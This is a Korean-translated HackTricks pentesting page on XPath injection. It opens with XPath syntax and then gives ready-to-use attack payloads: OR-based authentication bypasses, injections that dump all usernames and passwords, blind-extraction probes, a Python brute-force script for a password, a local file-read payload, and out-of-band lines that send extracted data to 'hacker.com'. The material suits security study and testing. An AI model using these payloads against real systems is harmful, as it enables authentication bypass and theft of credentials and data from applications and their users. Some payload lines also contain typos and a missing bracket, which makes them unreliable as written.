hacktricks/pentesting-web/xpath-injection.md

14 KiB

XPATH injection

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights
Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

Basic Syntax

XPath Injection으로 알려진 공격 기법은 사용자 입력을 기반으로 XPath(XML Path Language) 쿼리를 형성하여 XML 문서를 쿼리하거나 탐색하는 애플리케이션의 취약점을 이용하는 데 사용됩니다.

Nodes Described

표현식은 XML 문서에서 다양한 노드를 선택하는 데 사용됩니다. 이러한 표현식과 그 설명은 아래에 요약되어 있습니다:

  • nodename: "nodename"이라는 이름을 가진 모든 노드가 선택됩니다.
  • /: 루트 노드에서 선택이 이루어집니다.
  • //: 현재 노드에서 선택과 일치하는 노드가 문서 내 위치에 관계없이 선택됩니다.
  • .: 현재 노드가 선택됩니다.
  • ..: 현재 노드의 부모가 선택됩니다.
  • @: 속성이 선택됩니다.

XPath Examples

경로 표현식과 그 결과의 예는 다음과 같습니다:

  • bookstore: "bookstore"라는 이름을 가진 모든 노드가 선택됩니다.
  • /bookstore: 루트 요소 bookstore가 선택됩니다. 요소에 대한 절대 경로는 슬래시(/)로 시작하는 경로로 표현됩니다.
  • bookstore/book: bookstore의 자식인 모든 book 요소가 선택됩니다.
  • //book: 문서 내 모든 book 요소가 선택됩니다, 위치에 관계없이.
  • bookstore//book: bookstore 요소의 자손인 모든 book 요소가 선택됩니다, bookstore 요소 아래의 위치에 관계없이.
  • //@lang: lang이라는 이름을 가진 모든 속성이 선택됩니다.

Utilization of Predicates

프레디케이트는 선택을 세분화하는 데 사용됩니다:

  • /bookstore/book[1]: bookstore 요소의 첫 번째 book 요소 자식이 선택됩니다. IE 버전 5에서 9까지의 경우 첫 번째 노드를 [0]으로 인덱싱하는 문제를 해결하기 위해 JavaScript를 통해 SelectionLanguage를 XPath로 설정합니다.
  • /bookstore/book[last()]: bookstore 요소의 마지막 book 요소 자식이 선택됩니다.
  • /bookstore/book[last()-1]: bookstore 요소의 마지막에서 두 번째 book 요소 자식이 선택됩니다.
  • /bookstore/book[position()<3]: bookstore 요소의 첫 두 book 요소 자식이 선택됩니다.
  • //title[@lang]: lang 속성이 있는 모든 title 요소가 선택됩니다.
  • //title[@lang='en']: "lang" 속성 값이 "en"인 모든 title 요소가 선택됩니다.
  • /bookstore/book[price>35.00]: 가격이 35.00보다 큰 bookstore의 모든 book 요소가 선택됩니다.
  • /bookstore/book[price>35.00]/title: 가격이 35.00보다 큰 bookstore의 book 요소의 모든 title 요소가 선택됩니다.

Handling of Unknown Nodes

와일드카드는 알려지지 않은 노드를 일치시키는 데 사용됩니다:

  • *: 모든 요소 노드와 일치합니다.
  • @*: 모든 속성 노드와 일치합니다.
  • node(): 모든 종류의 노드와 일치합니다.

추가 예는 다음과 같습니다:

  • /bookstore/*: bookstore 요소의 모든 자식 요소 노드가 선택됩니다.
  • //*: 문서 내 모든 요소가 선택됩니다.
  • //title[@*]: 적어도 하나의 속성이 있는 모든 title 요소가 선택됩니다.

Example

<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>

정보에 접근하기

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

스키마 식별 및 탈취

and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

인증 우회

쿼리 예시:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

사용자와 비밀번호에서 OR 우회 (두 값이 동일함)

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

널 주입 악용

Username: ' or 1]%00

사용자 이름 또는 비밀번호에서의 이중 OR (취약한 필드가 하나만 있어도 유효함)

중요: "and"가 첫 번째로 수행되는 연산임을 주의하세요.

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

문자열 추출

출력에는 문자열이 포함되어 있으며 사용자는 값을 조작하여 검색할 수 있습니다:

/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

블라인드 익스플로이테이션

값의 길이를 가져오고 비교를 통해 추출하기:

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

파이썬 예제

import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break

파일 읽기

(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

OOB 익스플로잇

doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

자동 도구

참고자료

경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 HackenProof Discord 서버에 참여하세요!

해킹 통찰력
해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.

실시간 해킹 뉴스
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 최신 상태로 유지하세요.

최신 공지사항
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.

지금 Discord에 참여하고 최고의 해커들과 협업을 시작하세요!

{% hint style="success" %} AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기
{% endhint %}